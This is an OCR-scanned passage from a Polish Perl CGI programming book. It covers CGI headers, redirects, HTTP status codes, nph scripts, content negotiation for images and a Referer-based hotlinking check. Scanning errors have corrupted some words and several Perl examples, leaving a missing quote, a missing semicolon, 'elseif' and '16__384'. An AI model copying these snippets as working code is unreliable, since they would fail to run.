Właśnie dlatego wszystkie skrypty CGI przedstawione w poprzednich przykładach zawierały następujący wiersz: print "Content-type: text/html\n\n"; Ze skryptu CGI można wysłać jeszcze inne nagłówki HTTP, lecz pole nagłówkowe Content-type stanowi minimum niezbędne przy wysyłaniu dokumentu. Dokumenty HTML nie są oczywiście jedynym nośnikiem, który może być udostępniany za pośrednictwem skryptów CGI. Podając inny typ nośnika, na wyjście można przekazać zupełnie dowolny typ dokumentu. Zamieszczony w bieżącym rozdziale przykład 3.4 pokazuje, jak zwrócić dynamiczny obraz. Dwa znaki nowego wiersza na końcu nagłówka Content-type informują serwer Web, że jest to ostatni wiersz nagłówkowy i że kolejne wiersze składają się na część zasadniczą wiadomości. Ma to związek z omówionymi w poprzednim rozdziale dodatkowymi znakami CRLF, które oddzielają nagłówki HTTP od części zasadniczej, czyli treści (zob. ramka „Zakończenia wierszy"). Zakończenia wierszy W wielu systemach operacyjnych koniec wiersza przedstawiany jest za pomocą różnych zestawień znaków przejścia do nowego wiersza i powrotu karetki. W systemach uniksowych stosowany jest sam znak przejścia do nowego wiersza; w systemach macintoshowych stosowany jest sam znak powrotu karetki; w systemach Microsoftu stosowane są razem znak powrotu karetki i przejścia do nowego wiersza, która to para często przedstawiana jest skrótem CRLF. W nagłówkach HTTP także wymagane są CRLF-y - każdy wiersz nagłówka musi się kończyć znakiem powrotu karetki i przejścia do nowego wiersza. W Perlu (w systemie Unix) znak przejścia do nowego wiersza zapisywany jest jako „\n", a znak powrotu karetki jako „\r". Może więc budzić zdziwienie fakt, że w poprzednich przykładach występował zapis: print "Content-type: text/html\n\n"; zamiast print "Content-type: text/html\r\n\r\n"; Drugi z formatów będzie działać, ale tylko wtedy, gdy skrypt uruchomimy w Uniksie. Perl początkowo przeznaczony był tylko dla Uniksa, ale z czasem stał się językiem międzyplatformowym, dlatego drukowanie „\n" przez skrypt zawsze powoduje utworzenie zakończenia wiersza odpowiedniego w danym systemie operacyjnym. Rozwiązanie jest proste. CGI wymaga, aby serwer Web przekładał zakończenie wiersza przyjęte w danym systemie operacyjnym na CRLF. Dlatego, ze względu na kwestie przenośności, zawsze lepiej jest drukować jedynie znak przejścia do nowego wiersza („\n"): Perl utworzy zakończenie wiersza domyślne w danym systemie operacyjnym, zaś serwer Web automatycznie przekształci jest na CRLF wymagane przez HTTP. Kierowanie pod Inny URL Skrypt CGI nie zawsze musi generować dokument HTML. Jeśli bowiem wynik nie ulega zmianie przy kolejnych wizytach, dobrze jest utworzyć prostą, statyczną stronę HTML (dodatkowo, oprócz skryptu CGI) i kierować użytkownika do tej strony, posługując się nagłówkiem Location. Dlaczego? Zmiany w interfejsie są o wiele częstsze niż zmiany w programach, a łatwiej jest przeformatować stronę HTML niż wprowadzić zmiany do skryptu CGI. Ponadto, jeśli kilka skryptów CGI zwraca taką samą wiadomość, to trzeba będzie przechowywać mniej zasobów, gdy wszystkie będą odsyłać do wspólnego dokumentu. Co więcej, poprawi się wydajność. Choć Perl jest szybki, serwer Web zawsze jest szybszy. Warto więc wykorzystać każdą sposobność, aby choć część pracy przerzucić ze skryptów CGI na serwer Web. Aby skierować użytkownika pod inny URL niż żądany, wystarczy wydrukować nagłówek Location z URLem nowego położenia: print "Location: odpowiedz_statyczna.html\n\n"; URL może być bezwzględny lub względny. Do przeglądarki jest odsyłany bezwzględny URL albo względny URL ze względną ścieżką, po czym przeglądarka tworzy kolejne żądanie - nowego URL-a. Względny URL wraz z pełną ścieżką tworzy przekierowanie wewnętrzne (ang. internal redirect). Przekierowania wewnętrzne serwer Web obsługuje bez komunikowania się z przeglądarką. Zawartość nowo wskazanego zasobu pobiera tak, jak gdyby otrzymał nowe żądanie, ale zwraca ją tak, jak gdyby została utworzona przez skrypt CGI. W ten sposób unika się sieciowego cyklu odpowiedzi i żądania; z punktu widzenia użytkownika jedyną różnicą jest to, że odpowiedź jest szybsza. URL wyświetlany przez jego przeglądarkę nie zmienia się na wskazany w przekierowaniu wewnętrznym; widoczny pozostaje pierwotny URL skryptu CGI. Przekierowania serwerowe zilustrowane zostały na rysunku 3.4. Przekierowując do URL-i bezwzględnych, można zastosować nagłówek Content-type wraz z treścią przeznaczoną dla starszych przeglądarek na wypadek, gdyby nie obsługiwały automatycznych przekierowań. Współczesne przeglądarki natychmiast sięgną pod nowy URL, nie wyświetlając podanej treści. Określanie kodów stanu Nagłówek Status różni się od pozostałych nagłówków, ponieważ nie jest bezpośrednio odwzorowy wany na nagłówek HTTP, chociaż skojarzony jest z wierszem stanu. Pole to służy tylko do wymiany informacji między skryptem CGI a serwerem Web. Określa kod stanu, który serwer powinien uwzględnić w wierszu stanu żądania. Pole to jest fakultatywne: jeśli nie zostanie wydrukowane, serwer Web automatycznie zasygnalizuje na wyjściu stan 200 OK, gdy skrypt wydrukuje nagłówek Content-type, zaś stan 302 Found (znaleziono), gdy skrypt wydrukuje nagłówek Locution. Gdy drukujemy kod stanu, nie mus'my dołączać wiadomości skojarzonej z danym kodem. Nie powinniśmy je inak użyv/ać określonego kodu stanu do innego celu, niż został przeznaczony. Na przykład, jeśli
Programowanie CGI w Perlu
29
skrypt CGI w celu wygenerowania wyniku musi nawiązać połączenie z bazą danych, to mógłby zwrócić kod 503 Database Unavailable (baza danych niedostępna), gdyby baza danych nie miała wolnych połączeń. Standardowym komunikatem o błędzie dla kodu 503 jest Seruice Unavai-kble (usługa niedostępna), więc nasz komunikat o bazie danych byłby prawidłowym odpowiednikiem tego kodu. Kiedy zwracamy kod stanu oznaczający błąd, zawsze powinniśmy dodatkowo zwracać nagłówek Content-type oraz treść z komunikatem opisującym przyczynę błędu, tak aby był on zrozumiały dla użytkownika. Niektóre przeglądarki, gdy otrzymują kod stanu sygnalizujący błąd, przedstawiają użytkownikom własne komunikaty, jednak większość tego nie robi. Jeśli zatem sami nie podamy zrozumiałego komunikatu, wielu użytkowników otrzyma pustą stronę lub co najwyżej komunikat informujący, że dokument nie zawiera danych. Jeśli nie chcemy się przyznać, że mamy jakieś problemy, zawsze możemy skorzystać z dość popularnego ogólnikowego sformułowania w rodzaju: „System jest tymczasowo niedostępny, ponieważ poddawany jest okresowej procedurze pielęgnacyjnej". Oto kod zgłaszający wspomniany błąd związany z bazą danych: print <<KONIEC_HTML; Status: 503 Database Unavailable Content-type: text/html <HTML> <HEAD><TITLE>503 Database Unavailable</TITLE></HEAD> <BODY> <Hl>Błąd</Hl> <P>Przepraszamy, baza danych jest chwilowo niedostępna. Proszę spróbować późnięj.</P> </BODY> </HTML> KONIEC HTML Poniżej przedstawiamy krótki opis często spotykanych nagłówków stanu wraz ze wskazówkami, kiedy (i czy w ogóle) należy ich używać w skryptach CGI: 200 OK 200 jest, jak dotąd, najczęstszym kodem stanu zwracanym przez serwery Web; sygnalizuje, że żądanie zostało zrozumiane i pomyślnie przetworzone, a odpowiedź jest zawarta w treści. Jak już wcześniej pisaliśmy, serwer Web automatycznie dodaje ten nagłówek, gdy skrypt drukuje wymagany nagłówek Content-type. Zatem skrypt sam musi wydrukować ten kod stanu tylko wtedy, gdy wynik ma zawierać kompletne nagłówki nph-, którymi zajmiemy się w następnym podrozdziale. 204 No Response 204 (brak odpowiedzi) wskazuje, że żądanie było prawidłowe i zostało pomyślnie przetworzone, ale odpowiedź nie jest dostarczana. Kiedy przeglądarka otrzymuje ten kod stanu, nie robi nic. Po prostu nadal wyświetla tę samą stronę, którą wyświetlała przed zgłoszeniem żądania. Natomiast odpowiedź 200 bez dołączonej treści może spowodować, iż w przeglądarce użytkownika pojawi się komunikat w rodzaju „Dokument nie zawiera danych". Użytkownicy sieci Web na ogól oczekują konkretnego odzewu, lecz jest kilka takich wypadków, w których odpowiedź 204 (czyli brak odpowiedzi) ma sens. Przykładem może być sytuacja, gdy potrzebny jest kod klienta, na przykład JavaScriptu lub Javy, w celu zaraporto-wania czegoś serwerowi Web bez uaktualniania bieżącej strony. 301 Moved Permanently 301 (przeniesiono na stałe) wskazuje, że URL żądanego zasobu uległ zmianie. Wszystkie odpowiedzi z serii 300 muszą zawierać pole nagłówka Locaiion, określające nowy URL danego zasobu. Jeśli przeglądarka otrzyma kod 301 w odpowiedzi na żądanie GET, powinna automatycznie sięgnąć po zasób spod nowo podanego miejsca. Jeśli jednak kod 301 pojawi się w odpowiedzi na żądanie POST, przeglądarka powinna zwrócić się do użytkownika o potwierdzenie, a dopiero potem zrealizować przekierowanie żądania POST. Nie wszystkie przeglądarki to robią, a wiele zmienia nawet metodę w nowym żądaniu na GET. Odpowiedzi z tym kodem stanu mogą też zawierać wiadomość dla użytkownika • na wypadek, gdyby przeglądarka nie była w stanie automatycznie obsłużyć l przekierowania. Ponieważ ten kod wskazuje na trwałe przeniesienie, serwer j proxy lub przeglądarka, które zbuforowały tę odpowiedź, właśnie jej później \ użyją, bez komunikowania się z serwerem Web w celu ponownego potwierdzenia \ zmiany. 302 Found Odpowiedzi 302 (znaleziono) funkcjonują tak jak odpowiedzi 301, choć z jednym \ wyjątkiem: przeniesienie jest tymczasowe, więc przeglądarka powinna wszyst- f kie przyszłe żądania kierować pod oryginalny URL. Jest to kod stanu, który l zwracany jest do przeglądarek, gdy skrypt drukuje nagłówek Location (nie doty-j czy to jednak pełnych ścieżek, zob. wcześniejszy podrozdział „Kierowanie pod | inny URL"). Tak jak w wypadku kodu 301, przeglądarki powinny uzyskać po- < twierdzenie od użytkownika, zanim żądanie POST przekażą do innego URL-a. Ponieważ stan 302 upowszechnił się i ponieważ podczas przekierowywania wiele przeglądarek dokonywało niejawnej zmiany żądań POST na żądania GET, w specyfikacji HTTP 1.1 w zasadzie zrezygnowano z uzgodnień co do tego kodu stanu i w zamian zdefiniowano dwa nowe kody stanu: 303 See Other oraz 307 Temporary Redirect. 303 See Other Kod 303 (zobacz inny) wprowadzono w specyfikacji HTTP 1.1. Wskazuje, że zasób został tymczasowo przeniesiony i że powinien być dostępny pod nowym URL-em za pośrednictwem żądania GET, mimo że pierwotną metodą żądania było POST. Wprowadzenie tego kodu umożliwiło serwerom Web (oraz twórcom skryptów CGI) jawne wywołanie działania, będącego w większości przeglądarek błędną reakcją na odpowiedź 302.
Programowanie CGI w Perlu
30
307 Temporary Redirect Kod 307 (tymczasowe przekierowanie) wprowadzono w specyfikacji HTTP 1.1. Także wskazuje na tymczasowe przekierowanie. Jednak jeżeli przeglądarki zgodne z HTTP 1.1, obsługujące ten kod stanu, otrzymają ten kod w odpowiedzi na żądanie POST, to muszą monitować użytkownika i nie wolno im automatycznie zmieniać metody żądania na GET. Takie zachowanie jest standardowo wymagane od przeglądarek w wypadku odpowiedzi z kodem 302. Przeglądarki, w których ten kod zaimplementowano, powinny działać we właściwy sposób. Zatem kody 302,303 i 307 wskazują taką samą sytuację, a jedyna różnica dotyczy metody POST. Przeglądarka powinna wówczas: gdy kodem stanu jest 303, sięgnąć pod nowy URL za pomocą żądania o metodzie GET; gdy kodem jest 307, uzyskać potwierdzenie od użytkownika, po czym sięgnąć pod nowy URL za pomocą żądania POST; gdy kod wynosi 302, wykonać którąkolwiek z wymienionych operacji. 400 Bad Reąuest Kod 400 (błędne żądanie) reprezentuje ogólny błąd, oznaczający, że przeglądarka wysłała żądanie o wadliwej składni. Jako przykład można wymienić nieprawidłowe pole nagłówkowe Host lub żądanie z treścią, lecz bez nagłówka Content-type. Skrypt nie powinien zwracać kodu 400, ponieważ serwer Web sam powinien rozpoznawać problemy ze składnią i odpowiadać tym kodem stanu, nie wywołując w ogóle skryptu CGI. 401 Unauthorized Kod 401 (nieupoważniony) wskazuje, że żądany zasób znajduje się w dziedzinie (ang. realm) chronionej. Gdy przeglądarka otrzyma taką odpowiedź, powinna zwrócić się do użytkownika o podanie nazwy logowania i hasła, po czym ponownie wysłać pierwotne żądanie, tym razem z tymi dodatkowymi informacjami. Jeżeli przeglądarka znów otrzyma kod stanu 401, będzie to oznaczać, że logowanie zostało potraktowane odmownie. Przeglądarka na ogół powiadamia o tym użytkownika i umożliwia mu ponowne wprowadzenie informacji logujących. Odpowiedzi 401 powinny obejmować pole nagłówkowe WWW-Authenticate, określające nazwę dziedziny chronionej. Serwer Web sam obsługuje uwierzytelnienie (mimo to mod_perl daje możliwość obsługi poprzez skrypt), zanim zostanie wywołany skrypt CGI. Dlatego skrypty CGI nie powinny zwracać tego kod stanu; w zamian powinno się w nich używać kodu 403 Forbidden. 403 Forbidden Kod 403 (wzbroniony) wskazuje, że klient nie ma uprawnień dostępu do żądanego zasobu z powodu innego niż nieprawidłowe logowanie HTTP. Warto przypomnieć sobie z rozdziału l, „Pierwsze kroki", że skrypty CGI do działania wymagają odpowiedniego skonfigurowania uprawnień. Przeglądarka odbierze kod stanu 403, jeżeli podjęta została próba uruchomienia skryptu CGI, w którym nie określono uprawnień do wykonywania. Ten kod stanu można zwracać w wypadku chronionych skryptów CGI, jeżeli użytkownik nie będzie spełniać zadanych kryteriów, takich jak konkretny adres IP, określone ciasteczko przeglądarki itp. 404 NotFound Z pewnością każdy spotkał się z kodem 404 (nie znaleziono). Jest internetowym odpowiednikiem nieczynnego numeru telefonu. Kod 404 wskazuje, że serwer Web nie może znaleźć żądanego zasobu. Przyczyną zwykle jest albo źle wpisany URL, albo kliknięcie nieaktualnego łącza. Kod ten można wykorzystać w skryptach CGI w sytuacji, gdy przekazana przez użytkownika dodatkowa informacja o ścieżce okaże się nieprawidłowa. 405 Not Allowed Kod 405 (niedozwolony) wskazuje, że żądany zasób nie obsługuje użytej metody żądania. Niektóre skrypty CGI są tak napisane, że obsługują tylko żądania POST lub tylko żądania GET. Gdyby odebrano błędną metodę żądania, kod ten stanowiłby właściwą odpowiedź; w praktyce jednak rzadko jest stosowany. W odpowiedziach 405 musi się znajdować nagłówek Allow, zawierający listę prawidłowych metod żądania w wypadku Hanego zasobu. 408 Request Timed Out Gdy transakcja trwa bardzo długo, przeglądarka Web zwykle rezygnuje z niej wcześniej niż serwer Web. W sytuacji odwrotnej serwer, gdy znuży go czekanie, zwróci kod stanu 408 (żądanie przekroczyło limit czasu). Kod ten nie powinien być zwracany przez skrypty CGI. W zamian powinno się używać kodu 504 Gateway Timed Out. 500 Internal Seruer Error Wystarczy zacząć pisać skrypty CGI, aby kod stanu 500 (wewnętrzny błąd serwera) stał się aż nazbyt znajomy. Wskazuje, że na serwerze zdarzyło się coś, co spowodowało, że transakcja się nie powiodła. Prawie zawsze oznacza, że skrypt CGI popełnił jakiś błąd. Jakiż to błąd może popełnić skrypt CGI? Jest takich błędów wiele: błędy składni, błędy czasu wykonania lub nieprawidłowe dane na wyjściu skryptu. Wszystko to może być przyczyną omawianej tu odpowiedzi. Sposoby debugowania niesfornych skryptów CGI omówimy w rozdziale 15. 503 Service Unavailable Kod 503 (usługa niedostępna) wskazuje, że serwer Web nie jest w stanie odpowiedzieć na żądanie ze względu na duży ruch w sieci. W odpowiedziach z tym kodem może się znaleźć nagłówek Retry-After z datą i godziną określającymi, do kiedy to przeglądarka powinna czekać, zanim ponowi próbę. Na ogół przeglądarki są pod tym względem niezależne, niemniej stan ten mógłby być zgłaszany w sytuacji, gdyby skrypt CGI stwierdził, że inny zasób (na przykład baza danych) potrzebny do zrealizowania skryptu jest nadmiernie obciążony. 504 Gateway Timed Out Kod 504 (brama przekroczyła limit czasu) wskazuje, że pewna brama uczestnicząca w cyklu żądania przekroczyła limit czasu podczas oczekiwania na inny zasób. Tą bramą może być skrypt CGI. Jeśli w skrypcie
Programowanie CGI w Perlu
31
CGI zaimplementowana zostanie obsługa limitu czasu przy wywoływaniu innego zasobu (na przykład bazy danych lub innego serwera internetowego), to skrypt ten powinien zwracać odpowiedź 504. Powyższe kody stanu wymieniliśmy ze względów formalnych. Niemniej warto pamiętać, że drukowanie własnych kodów stanu, nawet w wypadku błędów, nie jest konieczne. Chociaż wysłanie kodu stanu w celu zasygnalizowania błędu wydaje się najwłaściwsze z punktu widzenia protokołu HTTP, można też po prostu skierować użytkownika do strony z odpowiednimi instrukcjami lub zwrócić opis błędu w postaci zwykłych danych wyjściowych (z kodem stanu 200 OK). Nagłówki kompletne (niecząstkowe) Do tej pory wszystkie omówione skrypty CGI zwracały cząstkowe informacje nagłówkowe. Pozostawialiśmy serwerowi wypełnienie pozostałych nagłówków i zwrócenie dokumentu do przeglądarki. Niemniej serwer nie musi nas w tym wyręczać. Możemy stworzyć skrypty CGI, które będą generować kompletne nagłówki. Skrypty CGI generujące własne nagłówki nazywane są skryptami nph (od ang. non-parsed headers). Serwer musi z góry wiedzieć, czy dany skrypt CGI ma zwracać kompletny zestaw nagłówków. Serwery Web działają w tym wypadku różnie, lecz większość rozpoznaje skrypty CGI z przedrostkiem nph- w nazwie pliku. Wysyłając kompletne nagłówki, należy wysyłać co najmniej wiersz stanu oraz nagłówki Content-type i Seruer. Należy wydrukować cały wiersz stanu; nie należy drukować nagłówka Status. Przypomnijmy: wiersz stanu zawiera łańcuch opisujący protokół i wersję (np. „HTTP/1.1"). Przypomnijmy też, że CGI dostarcza te informacje w zmiennej środowiska SERVER_PROTOCOL. W skryptach CGI nie należy stosować wartości stałej, lecz zawsze posługiwać się tą zmienną, ponieważ w wypadku starszych klientów wersja protokołu podana w SERVER_PROTOCOL może być inna. W przykładzie 3.3 przedstawiamy prosty skrypt nph. Przykład 3.3. nph-count.cgi #!/usr/bin/perl -wT use strict; print "$ENV{SERVER_PROTOCOL} 200 OK\n"; print "Server: $ENV{SERVER_SOFTWARE}\n"; print "Content-type: text/plain\n\n"; print "OK, rozpoczyna się czasochłonny proces ... \n"; # Poinformuj Perl, aby nie buforował generowanego tu wyniku $| = 1; for ( my $cykl = 1; $cykl <= 30; $cykl++ ) { print "Iteracja: $cykl\n"; ## Wykonaj długotrwałą operację ## sleep 1; } print "Gotowe ! \n"; Skrypty nph dawniej były częściej stosowane, ponieważ Apache w wersjach wcześniejszych niż 1.3 buforował wynik generowany przez standardowe skrypty CGI (czyli generujące nagłówki cząstkowe). Mając skrypt nph, wynik można było wysyłać do przeglądarki na bieżąco w trakcie generowania. Apache 1.3 już nie buforuje wyniku CGI, więc ta właściwość skryptów nph stała się w jego wypadku niepotrzebna. Inne serwery Web, na przykład iPlanet Enterprise Server 4, buforują zarówno standardowe wyniki CGI, jak i pochodzące ze skryptów nph. Aby dowiedzieć się, jak dany serwer Web obsługuje buforowanie, można uruchomić skrypt z przykładu 3.3. Zapiszmy plik nph-count.cgii wywołajmy go za pośrednictwem przeglądarki; następnie zapiszmy jego kopię jako count.cgi i zmodyfikujmy ją tak, aby wynikiem były nagłówki cząstkowe, znakami komentarza blokując wiersz stanu oraz nagłówek Seruer: # print "$ENV{SERVER_PROTOCOL} 200 OK\n"; # print "Server: $ENV{SERVER_SOFTWARE} \n"; Teraz trzeba wywołać tę kopię skryptu CGI i porównać rezultaty. Jeżeli przeglądarka zatrzyma się na trzydzieści sekund przed wyświetleniem strony, oznacza to, że serwer buforuje wynik. Jeśli kolejne wiersze będą się pojawiać na bieżąco, to wynik nie jest buforowany.
Przykłady W tej chwili mamy za sobą omówienie podstaw działania skryptów CGI. Mimo to pewne pojęcia i koncepcje nadal mogą się wydawać nieco abstrakcyjne. W kolejnych podrozdziałach przedstawiamy przykłady, w których demonstrujemy sposób wdrożenia omówionych elementów. Sprawdzenie przeglądarki klienta Funkcja skryptów CGI nie ogranicza się do generowania HTML-a. Skrypt z przykładu 3.4 udostępnia obraz po ustaleniu formatu obrazu obsługiwanego przez przeglądarkę. Przypomnijmy, że przeglądarka wysyła nagłówek HTTP Accept, w którym wymieniane są obsługiwane przez nią typy nośników. Przeglądarki na ogół podają tylko nowsze typy nośników oraz symbol wieloznaczny (*/*), reprezentujące wszystkie inne typy. W tym przykładzie wyślemy obraz w nowym formacie PNG, jeśli przeglądarka poda, że obsługuje PNG; w przeciwnym razie wyślemy obraz JPEG.
Programowanie CGI w Perlu
32
Pojawić się może pytanie, po co to robimy. Otóż w obrazach JPEG stosowana jest kompresja stratna. Chociaż doskonale się one sprawdzają w wypadku widoków naturalnych, na przykład fotografii, to jednak tam, gdzie występują ostre linie i liczne szczegóły (np. zrzuty ekranu lub tekst), obraz może ulec rozmyciu. Kompresja obrazów PNG, tak jak obrazów GIF, jest bezstratna. Zwykle ich pliki są większe niż obrazów JPEG (zależy to od obrazu), lecz zachowują wyraźne szczegóły. W przeciwieństwie do GIF-ów, których paleta kolorów ograniczona jest do 256, w obrazach PNG mogą występować miliony kolorów, a nawet ośmiobitowa przezroczystość. Zatem, jeśli okaże się to możliwe, dostarczymy wielokolorowy, wysoce szczegółowy obraz PNG, a w przeciwnym razie JPEG. Jeśli użytkownik wywoła obraz za pomocą URL-a http://localhost/cgi/image_fetch.cgi/nowy_zrzut.png, otrzyma nowy_zrzut.png albo nowy_zrzut.jpeg, odpowiednio do możliwości przeglądarki. Dzięki takiemu rozwiązaniu na stronie HTML można umieścić pojedyncze łącze, które będzie działać w każdym wypadku. Przykład 3.4 przedstawia źródło naszego skryptu CGI. Przykład 3.4. image_fetch.cgi #!/usr/bin/perl -wT use strict; my $typ_obrazu = $ENV{HTTP_ACCEPT} =~ m|image/png| ? "png" : "jpeg"; my( $nazwa_bazowa ) = $ENV{PATH_INFO} =~ /^(\w+)/; my $sciezka_obrazu = $ENV{DOCUMENT_ROOT}/images/$nazwa_bazowa.$typ_obrazu"; unless ( $nazwa_bazowa and -B $sciezka_obrazu and open OBRAZ, $sciezka_obrazu) { print "Location: /errors/not_found.html\n\n"; exit; } my $bufor; print "Content-type: image/$typ_obrazu\n\n" binmode STDOUT; while ( read( OBRAZ, $bufor, 16__384 ) ) { print $bufor; } Zmiennej $typ_obrazu przypisujemy „png" lub „jpeg" zależnie od tego, czy wnagłówku Accept przeglądarka wysłała image/png. Następnie zmiennej $nazwa_bazowa przypisaliśmy pierwszy wyraz z dodatkowej informacji o ścieżce, którym w powyższym przykładzie jest „nowy_zrzut". Interesuje nas tylko nazwa bazowa, ponieważ w celu pobrania odpowiedniego pliku dodajemy własne rozszerzenie. Nasze obrazy znajdują się w katalogu images w głównym katalogu drzewa dokumentów serwera Web, więc skonstruujemy ścieżkę do obrazu i przypiszemy ją do zmiennej $sciezka_obrazu. Konstruujemy tę ścieżkę przed sprawdzeniem, czy otrzymany URL faktycznie zawiera dodatkową informaq'ę o ścieżce. Jeśli zmienna $ENV{ PATH_INFO} jest pusta lub jej wartość zaczyna się znakiem innym niż alfanumeryczny, to oczywiście ścieżka ta jest nieprawidłowa. Jednak wszystko jest w porządku, gdyż sprawdzaniem zajmiemy się później. Dzięki temu, że odłożyliśmy sprawdzanie na później, wszystkie testy możemy przeprowadzić naraz. Sprawdzamy, czy dodatkowa informaqa o ścieżce zawiera nazwę, czy skonstruowana przez nas pełna ścieżka do pliku wskazuje na plik binarny oraz czy jesteśmy w stanie ten plik otworzyć. Jeśli którykolwiek z tych testów zakończy się niepowodzeniem, to zasygnalizujemy, że plik po prostu nie został znaleziony. W tym celu skierujemy do statycznej strony, która zawiera odpowiedni komunikat o błędzie. Utworzenie pojedynczego statycznego dokumentu dla błędu ogólnego, takiego jak 404 Not Found, zapewnia nam łatwy sposób dostarczania użytkownikowi strony z opisem błędu, która jest łatwa w pielęgnacji i dostosowana do specyfiki naszego serwisu pod względem układu graficznego. Jeśli pomyślnie otworzymy plik, to odczytamy go i wydrukujemy w 16-kilobajtowych fragmentach. Wywołanie binmode jest niezbędne w systemach Win32 i MacOS, w których znaki przejścia do nowego wiersza nie są stosowane jako oznaczenie końca wiersza; nie ma ono znaczenia w systemach uniksowych. Uwierzytelnianie oraz identyfikacja użytkownika Oprócz bezpieczeństwa opartego na domenie większość serwerów HTTP obsługuje także inną metodę zabezpieczeń zwaną uwierzytelnianiem użytkownika. Metodę tę omówiliśmy pokrótce w poprzednim rozdziale. Gdy pewne pliki lub katalogi w danej dziedzinie (ang. realm) skonfigurujemy tak, że będą wymagać uwierzytelnienia, tylko wybrani użytkownicy będą mieć do nich dostęp. Użytkownik usiłujący otworzyć URL-e skojarzone z takimi plikami jest monitowany o podanie nazwy i hasła. Serwer sprawdza nazwę użytkownika i hasło, po czym użytkownik, jeśli jest uprawniony, uzyskuje zgodę na dostęp. Serwer nie tylko udziela zgody na dostęp do chronionego pliku, lecz również zachowuje nazwę użytkownika i przekazuje ją do każdego wywoływanego programu CGI za pośrednictwem zmiennej środowiska $ENV{REMOTE_USER}. Zatem informację pochodzącą z uwierzytelniania serwerowego skrypt CGI może wykorzystywać do identyfikacji użytkowników. Oto urywek kodu, który ilustruje, do czego może posłużyć zmienna środowiska $ENV {REMOTE__USER}: $zdalny_uzytkownik = $ENV{REMOTE_USER}; if ( $zdalny_uzytkownik eq "maria" ) { print "Witaj, Mario, co tam słychać w twojej firmie?\"; } elseif ( $zdalny_uzytkownik eq "robert" ) { print "Czołem, Robert, co porabiasz? Słyszałem, że chorowałeś.\n";
Programowanie CGI w Perlu
33
} Ograniczanie „piractwa graficznego" Wielką zaletą struktury Web jest jej elastyczność. Jedna osoba może utworzyć stronę na swoim serwerze i umieścić na niej łącza do stron innych osób na innych serwerach. Wśród tych łączy mogą też być łącza do cudzych obrazów. Niestety, jeśli to nasze obrazy staną się zbyt popularne, ostatnia z możliwości raczej nie wzbudzi naszego zachwytu. Powiedzmy, że jesteśmy artystami i prezentujemy swoje dzieła na stronach Web. Możemy nie chcieć, aby na cudzych stronach Web umieszczano nasze prace za pośrednictwem łączy kierujących do naszego serwera. Jeden ze środków zaradczych, przedstawiony w przykładzie 3.5, polega na sprawdzeniu URL-a, spod którego użytkownik został odesłany do obrazu, podanego w polu nagłówkowym HTTP 5 Referer . Przykład 3.5. check_referer.cgi #!/usr/bin/perl -wT use strict; # Katalog, w którym obrazy są przechowywane; nie powinien się # znajdować w drzewie dokumentów serwera, aby użytkownicy nie # mogli sięgać do obrazów inaczej niż za pomocą tego skryptu, my $katalog_obrazu = "/usr/local/apache/data/images"; my $referer = $ENV{HTTP_REFERER}; my $nazwa_hosta = quotemeta( $ENV{HTTP_HOST} || $ENV{SERVER_NAME} ); if ( $referer and $referer !~m|^http://$nazwa_hosta/| ) { wyswietl_obraz("copyright.gif"); } else { # Upewnij się, czy nazwa obrazu nie zawiera niedozwolonych znaków. my($plik_obrazu) = $ENV{PATH_INFO} =~/^([\w+.]+)$/ or not_found(); wyswietl_obraz( $plik_obrazu ); } # Wyświetlanie obrazu sub wyswietl_obraz { my $plik = shift; my $pelna_sciezka = "$katalog_obrazu/$plik"; # Po prostu zgłosimy, że pliku nie znaleziono, # więc nie możemy go otworzyć open OBRAZ, $pelna_sciezka or not_found(); print "Pragma: no-cache\n"; print "Content-type: image/gif\n\n"; binmode STDOUT; my $bufor = ""; while ( read( OBRAZ, $bufor, 16_384 ) ) { print $bufor; } close OBRAZ; } sub not_found { print <<KONIEC_BLEDU; Status: 404 Not Found Content-type: text/html <html> <head> <title>Pliku nie znaleziono</title> </head> <body> <hl>Pliku nie znaleziono</hl> <p>Niestety, nie znaleziono obrazu. Proszę sprawdzić podany URL i spróbować jeszcze raz.</p> </body> </html> KONIEC_BLEDU exit; } Skrypt wyświetla obraz z informacją o prawach autorskich, jeśli użytkownik sięga z innego serwisu w sieci Web. W skrypcie przyjęto, że plik odnoszący się do praw autorskich, o nazwie copyright.gif, znajduje się w 5
Nagłówek Referer nie jest tak niezawodny, jak można by od niego oczekiwać. Nie wszystkie przeglądarki go podają, a ponadto, o czym się przekonamy w rozdziale 8, klient może podać fałszywy nagłówek Referer. Jednak w wypadku rozważanego scenariusza wina spada na inne serwery, a nie na samych użytkowników, a ponadto nie jest możliwe, aby inne serwery spowodowały, by klienty podawały fałszywe nagłówki.
Programowanie CGI w Perlu
34
tym samym katalogu co pozostałe obrazy. Nie we wszystkich przeglądarkach zaimplementowano nagłówek HTTP Referer. Nie chcemy, aby użytkownicy posługujący się takimi przeglądarkami otrzymali przez pomyłkę niewłaściwy obraz. Zatem obraz z informacją o prawach autorskich wyświetlimy tylko wtedy, gdy ze strony użytkownika przedstawiony zostanie nagłówek Referer, który ponadto pochodzi od innego serwera. Musimy też mieć świadomość buforowania w sieci Web. Przeglądarki mogą buforować obrazy, a w połączeniu pośredniczyć mogą serwery proxy, które także posługują się buforowaniem. Dlatego w wyniku umieszczamy dodatkowy nagłówek Pragma: no-cache, żądający, aby ta wiadomość nie była buforowana. Powinno to zapobiec sytuacji, w której użytkownik, odwiedzając właściwą stronę, otrzymałby zbuforowany obraz z informacją o prawach autorskich. Gdybyśmy byli nadzwyczaj podejrzliwi (i nie przeszkadzałoby nam to, że przyczyniamy się do przeciążania sieci), to nagłówek Pragma: no-cache moglibyśmy dołączać także do właściwych obrazów. Jeśli obraz nie zostanie znaleziony, wysyłana jest odpowiedź z kodem stanu 404. Można by się zastanawiać, dlaczego wysyłana jest wiadomość HTML, podczas gdy przyczyną żądania był zapewne HTML-owy znacznik obrazu, tak że należałoby się spodziewać wyświetlenia odpowiedzi w przeglądarce jako obrazu na stronie HTML. Otóż ani serwery Web, ani skrypty CGI nie mają możliwości rozpoznania kontekstu jakiegokolwiek żądania. Serwery Web zawsze sygnalizują błąd 404, gdy nie mogą odnaleźć zasobu. W tym wypadku przeglądarka zapewne wyświetli ikonę, na przykład symboliczny „pęknięty obrazek", informującą o wystąpieniu błędu. Jeśli użytkownik zechce obejrzeć obraz osobno, odwołując'się do niego bezpośrednio, ujrzy komunikat o błędzie. To rozwiązanie powinno powstrzymywać „piratów z przypadku". Nie powstrzyma jednak zwyczajnych złodziei. Każdy odwiedzający nasze strony może nasze obrazy zapisać na swoim dysku, a kopie zamieścić we własnym serwisie.
